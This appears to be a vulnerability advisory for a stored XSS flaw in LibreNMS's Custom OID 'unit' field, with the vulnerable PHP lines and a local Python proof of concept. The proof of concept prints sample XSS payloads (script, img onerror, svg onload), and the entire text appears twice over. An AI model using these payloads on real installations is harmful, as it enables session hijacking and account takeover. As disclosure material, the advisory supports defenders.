CVE-2026-27016

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 24.10.0 through 26.1.1 are vulnerable to Stored XSS via the unit parameter in Custom OID. The Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping. This issue is fixed in version 26.2.0.

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 24.10.0 through 26.1.1 are vulnerable to Stored XSS via the unit parameter in Custom OID. The Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping. This issue is fixed in version 26.2.0.

Summary

The unit parameter in Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.

Details

Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21):

$name = strip_tags((string) $_POST['name']);       // line 18 - SANITIZED
$oid = strip_tags((string) $_POST['oid']);         // line 19 - SANITIZED
$datatype = strip_tags((string) $_POST['datatype']);  // line 20 - SANITIZED
$unit = $_POST['unit'];                            // line 21 - NOT SANITIZED!

Vulnerable Output (graphs/customoid.inc.php lines 13-20):

$customoid_unit = $customoid['customoid_unit'];  // Retrieved from DB
$customoid_current = \LibreNMS\Util\Number::formatSi(...) . $customoid_unit;
echo "...$customoid_current...";  // ECHOED WITHOUT ESCAPING!

PoC

#!/usr/bin/env python3
"""
XSS test for LibreNMS Custom OID - unit parameter
"""

import html as html_module
import re

def strip_tags(value):
    return re.sub(r'<[^>]*?>', '', str(value))

# Simulate form processing (customoid.inc.php lines 18-21)
test_inputs = {
    'name': '<script>alert(1)</script>Test OID',
    'oid': '1.3.6.1.4.1.2021.10.1.3.1',
    'datatype': 'GAUGE',
    'unit': '<script>alert("XSS")</script>',
}

name = strip_tags(test_inputs['name'])      # Sanitized
oid = strip_tags(test_inputs['oid'])        # Sanitized
datatype = strip_tags(test_inputs['datatype'])  # Sanitized
unit = test_inputs['unit']                   # NOT SANITIZED!

print("Input Processing Analysis:")
print(f"  name (strip_tags):     {name}")
print(f"  oid (strip_tags):      {oid}")
print(f"  datatype (strip_tags): {datatype}")
print(f"  unit (NO strip_tags):  {unit}")
print()
print("*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***")

# Test XSS payloads
payloads = [
    '<script>alert("XSS")</script>',
    '<img src=x onerror=alert(1)>',
    '<svg onload=alert(1)>',
]

print("\nXSS Payload Tests:")
for payload in payloads:
    escaped = html_module.escape(payload)
    has_xss = '<script>' in payload or 'onerror=' in payload.lower()
    print(f"  Payload: {payload}")
    print(f"    Raw (vulnerable): Contains executable code: {has_xss}")
    print(f"    Escaped (safe):   {escaped}")

Expected Output

Input Processing Analysis:
  name (strip_tags):     alert(1)Test OID
  oid (strip_tags):      1.3.6.1.4.1.2021.10.1.3.1
  datatype (strip_tags): GAUGE
  unit (NO strip_tags):  <script>alert("XSS")</script>

*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***

Impact

• Attack Vector: User with device edit permissions sets malicious Unit value
• Exploitation: XSS payload stored in database, executes for all users viewing device graphs
• Consequences:
  • Session hijacking via cookie theft
  • Admin account takeover
  • Malicious actions on behalf of victims
  • Persistent attack affecting all users
• Affected Users: All LibreNMS installations with Custom OID feature

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 24.10.0 through 26.1.1 are vulnerable to Stored XSS via the unit parameter in Custom OID. The Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping. This issue is fixed in version 26.2.0.

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 24.10.0 through 26.1.1 are vulnerable to Stored XSS via the unit parameter in Custom OID. The Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping. This issue is fixed in version 26.2.0.

Summary

The unit parameter in Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.

Details

Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21):

$name = strip_tags((string) $_POST['name']);       // line 18 - SANITIZED
$oid = strip_tags((string) $_POST['oid']);         // line 19 - SANITIZED
$datatype = strip_tags((string) $_POST['datatype']);  // line 20 - SANITIZED
$unit = $_POST['unit'];                            // line 21 - NOT SANITIZED!

Vulnerable Output (graphs/customoid.inc.php lines 13-20):

$customoid_unit = $customoid['customoid_unit'];  // Retrieved from DB
$customoid_current = \LibreNMS\Util\Number::formatSi(...) . $customoid_unit;
echo "...$customoid_current...";  // ECHOED WITHOUT ESCAPING!

PoC

#!/usr/bin/env python3
"""
XSS test for LibreNMS Custom OID - unit parameter
"""

import html as html_module
import re

def strip_tags(value):
    return re.sub(r'<[^>]*?>', '', str(value))

# Simulate form processing (customoid.inc.php lines 18-21)
test_inputs = {
    'name': '<script>alert(1)</script>Test OID',
    'oid': '1.3.6.1.4.1.2021.10.1.3.1',
    'datatype': 'GAUGE',
    'unit': '<script>alert("XSS")</script>',
}

name = strip_tags(test_inputs['name'])      # Sanitized
oid = strip_tags(test_inputs['oid'])        # Sanitized
datatype = strip_tags(test_inputs['datatype'])  # Sanitized
unit = test_inputs['unit']                   # NOT SANITIZED!

print("Input Processing Analysis:")
print(f"  name (strip_tags):     {name}")
print(f"  oid (strip_tags):      {oid}")
print(f"  datatype (strip_tags): {datatype}")
print(f"  unit (NO strip_tags):  {unit}")
print()
print("*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***")

# Test XSS payloads
payloads = [
    '<script>alert("XSS")</script>',
    '<img src=x onerror=alert(1)>',
    '<svg onload=alert(1)>',
]

print("\nXSS Payload Tests:")
for payload in payloads:
    escaped = html_module.escape(payload)
    has_xss = '<script>' in payload or 'onerror=' in payload.lower()
    print(f"  Payload: {payload}")
    print(f"    Raw (vulnerable): Contains executable code: {has_xss}")
    print(f"    Escaped (safe):   {escaped}")

Expected Output

Input Processing Analysis:
  name (strip_tags):     alert(1)Test OID
  oid (strip_tags):      1.3.6.1.4.1.2021.10.1.3.1
  datatype (strip_tags): GAUGE
  unit (NO strip_tags):  <script>alert("XSS")</script>

*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***

Impact

• Attack Vector: User with device edit permissions sets malicious Unit value
• Exploitation: XSS payload stored in database, executes for all users viewing device graphs
• Consequences:
  • Session hijacking via cookie theft
  • Admin account takeover
  • Malicious actions on behalf of victims
  • Persistent attack affecting all users
• Affected Users: All LibreNMS installations with Custom OID feature